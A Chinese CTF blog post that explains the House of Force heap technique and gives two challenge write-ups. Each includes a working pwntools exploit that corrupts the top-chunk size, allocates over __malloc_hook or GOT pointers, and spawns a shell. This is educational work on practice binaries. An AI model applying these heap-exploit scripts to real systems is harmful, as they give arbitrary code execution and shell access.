topchunk利用 | House Of Force

House系列的学习。
通过House Of Force对平时见的很少的top chunk有了更深刻的理解。

优秀的学习文章

关于house of force的学习总结 | ZIKH26

House Of Force利用

libc-2.23和libc-2.27
我的理解,
通过top chunk的分割去"逼近"到target_addr。
House Of Force的利用确实不大难,学习后能对堆的布局有更深刻的认识。主要是这个利用条件太苛刻了。
1.能改top chunk的size位为-1(绕过remainder最大块检测)
2.能得到topchunk的地址(计算request_size)
3.malloc的size不受限制(一般很大)

request_size = target_addr - 0x20 - topchunk_addr

例题

gyctf_2020_force

题目

学习到的点:
1.申请超大chunk使得mmap分配,vmmap查看发现分配到了libc里面,所以能得到与libc的偏移,从而泄露libc。
2.HOF本质是对topchunk布局,利用申请的第一个chunk都是topchunk_addr-first_malloc_size处的地方来实现任意地址写。
3.又熟悉了调试方法,学会了vmmap查看整体内存的分配情况。
4.realloc调整下栈帧,根本没必要下断点进calloc看,直接爆破几个即可,+2,+4,+6…

Exp: (远程的,本地的realloc没调对。。)

leak = add(0x200000,b'a')

# offset = 0x200FF0
libcbase = leak + 0x200FF0
info_addr("libcbase",libcbase)

ogs = [0x45216,0x4526a,0xf02a4,0xf1147]
og = libcbase + ogs[1]
info_addr("one_gadget",og)
malloc = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']

# house of force
pl = p64(0)*3 + p64(0xffffffffffffffff)
leak = add(0x10,pl)
topchunk = leak + 0x10
info_addr("topchunk",topchunk)

# request_size = target_addr - 0x20 - victim
request_size = malloc - 0x20 - topchunk - 0x10
info_addr("size!!!",request_size)
add(request_size,b'aaaa')
addr = add(0x20,b'a'*8+p64(og)+p64(realloc+12))
#addr = add(0x20,b'a'*16+p64(og))

info_addr("realloc_hook",malloc-0x8)
info_addr("addr",addr)

p.sendlineafter('2:puts\n',str(1))
p.sendlineafter('size\n',str(0xFF))

p.interactive()

image

bcloud_bctf_2016

题目

32位的堆,活久见。
emmm,漏洞点真不好找。
在输入name这里:
image

strcpy!!!会多拷贝一个b'\x00'空字节

这里调试看,
strcpy之前的堆布局
image

我们填满0x40,strcpy后的堆布局
image

可以看到一个off-by-null修改了topchunk的size
而且由于紧接着打印的是堆中的内容,而根据堆的布局可以看到填满后是能接着泄露0x08f9f008的,也就是topchunk的prev_size段。(printf遇空字节终止)
image

同样的,后面输入Organization和Host的时候也存在溢出。
我们还是都填满0x40来看堆布局
image

都是因为strcpy时,栈中没有b'\x00'来截断,导致溢出。

所以我们现在:

  1. 可以控制topchunk的size
  2. 知道topchunl的地址
  3. malloc大小无限制
    所以考虑 House Of Force,将p_content的内存空间申请出来。
    漏洞利用思路:
    这样就可以在bss的指针段写入free_got,puts_got这些,然后edit把free_got的值改为puts_plt,然后free(puts_got)泄露libc,再把free_got改为system,最后布置一个/bin/sh即可。

但还是有些细节,比如不能edit(0)(topchunk的size有问题)
然后就是不知道为什么本地打不通,但能打通远程。。。
Exp:

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

sa("name:\n",b'a'*0x40)

ru(b'a'*0x40)
leak = leak_address()
info_addr("leak",leak)
topchunk = leak + 0xd0

sa("Org:\n",b'b'*0x40)
sla("Host:\n",p64(0xffffffff))
info_addr("topchunk",topchunk)

target = 0x804B120 # p_content
add(target-0x10-topchunk,b"0")
add(0x20,p32(0)+p32(free_got)+p32(puts_got)+p32(target+0x10)+b'/bin/sh\x00')
edit(1,p32(puts_plt)) # free_got -> puts_plt
free(2) # puts(puts_got)
leak = leak_address()
info_addr("puts_addr",leak)

libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p32(system))
free(3)


p.interactive()

本地:
image

远程:
image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值